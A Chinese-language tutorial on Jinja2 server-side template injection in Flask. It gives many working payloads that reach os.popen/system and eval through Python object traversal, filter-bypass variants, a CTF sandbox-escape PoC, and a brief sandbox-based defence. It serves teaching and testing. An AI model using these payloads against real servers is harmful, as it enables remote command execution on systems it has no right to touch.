SSTI(Server Side Template Injection),又称服务端模板注入攻击。其发生在MVC框架中的view层,常见的用于渲染的模板有Twig、FreeMarker、Velocity、Smarty等。
服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、getShell 等问题。
例如twig的代码:
$output =$twig->render($_GET['custom_email'], array("first_name" =>$user.first_name) );
如果我们输入custom_email={{7*7}}则会得到49。关于SSTI漏洞的介绍可见:
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
Jinja2 是仿照 Django 模板的一个功能齐全的模板引擎。它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全。
编写示例代码一,将请求输入参数name拼接为模板内容的一部分并进行渲染输出,这里关注Template模块的render方法:
(注:request.url的方式不能导致模板注入了,在最新的flask版本中会自动对request.url进行urlencode,request.args传参)
访问如下链接,被解析成功,说明漏洞的存在:
http://127.0.0.1:5000/?name={{22*3}}
而SSTI中主要涉及的漏洞有两个:文件读取和命令执行,这里主讲命令执行。
首先python环境下常用的命令执行方式有以下几种:
os.system()
os.popen()
subprocess.call/popen
实现执行任意python代码的payload有:
POC1:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}
{% endif %}
{% endfor %}
POC2:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b inc.__init__.__globals__.values() %}
{% ifb.__class__ == {}.__class__ %}
{% if'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("calc").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
访问:
http://127.0.0.1:5000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22calc%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
成功实现代码执行:
Jinja2的SSTI漏洞原理用一句话描述就是,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法。
1)首先,要想在 Jinja2 的模板中执行 Python代码,按照官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册,示例代码二如下:
这里传入参数 {{ os.popen('calc') }},因为在模板环境中已经注册了 os 变量为 Python os模块,所以可以直接调用模块函数来执行系统命令。
2)但如果使用示例代码一来执行,会得到 os未定义的异常错误:
3)那如何在未注册 os 模块的情况下在模板中调用popen() 函数执行系统命令呢?由于模板中能够访问 Python 内置的变量和变量方法,并且能通过 Jinja2 的模板语法去遍历变量。
首先,解释一下Python中一些常见的特殊方法:
__class__返回调用的参数类型
__base__返回基类列表
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回object子类
__globals__ 以字典类型返回当前位置的全部全局变量(func_globals 等价)
jinja2中获取基类的方法如下:
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]
因此可以构造出如下模板 Payload :
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
除此之外os模块还可从warnings.catchwarnings模块入手,__init__方法用于将对象实例化,可以通过funcglobals(或者`__globals`)看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块,从而有了以下payload:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
4)在实际测试中可用的payload未知,避免手动挨个尝试,一般使用模板的控制语句进行通用攻击:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}
{% endif %}
{% endfor %}
5)除了遍历找到 `os` 模块外,还能直接找到 `eval` 函数并进行调用,这样就能够调用复杂的 Python 代码:
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('calc').read()")}}
但实际类所在的索引随环境变换而不一样,下标也应随之改变,所以可以直接用for循环来遍历所得的基类:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b inc.__init__.func_globals.values() %}
{% ifb.__class__ == {}.__class__ %}
{% if'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("calc").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
沙盒绕过是python安全不得不提的一个话题,以一个最典型的CTF题为例,2014CSAW-CTF 中的一道经典的Python 沙盒绕过题目:
最终PoC为:
[c for c in [].__class__.__base__.__subclasses__() ifc.__name__ ==
'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echoHello SandBox')
更多过滤场景:
1)过滤 {{或}}
使用 {%绕过,{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果,如下,把命令执行的结果外带:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('calc').read()=='p'%}1{% endif %}
2)过滤 _
使用编码绕过:__class__ => \x5f\x5fclass\x5f\x5f
3)过滤 .
a>采用 attr()或 []绕过, payload:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
b>使用[]绕过:
http://127.0.0.1:5000/?name={{config['__class__']['__init__']['__globals__']['os']['popen'](calc)['read']()}}
其他:利用request
如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤 __class__,可以用 request.args.t1且以GET方式提交 t1=__class__ 来替换被过滤的 __class__
形式1
{{''.__class__}} =>{{''[request.args.t1]}}&t1=__class__
形式2
{{''.__class__}} =>{{''[request['args']['t1']]}}&t1=__class__
同理也可以使用POST,只需要需要将args换成form即可。或者利用Python字符串格式化特性绕过ssti过滤,批量脚本:
str1 = '__class__'
res = ''
for i in str1:
res +="{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])
SSTI漏洞是控制 Web 应用渲染模板(基于Jinja2)内容来进行远程代码(命令)执行,前提是模板内容可控,因此
1) 需要跟踪render()方法的变量是否可控;
2) 若变量可控,则尝试输入payload,若被过滤尝试绕过。
使用 Jinja2 自带的沙盒环境 jinja2.sandbox.SandboxedEnvironment,Jinja2 默认沙盒环境在解析模板内容时会检查所操作的变量属性,对于未注册的变量属性访问都会抛出错误。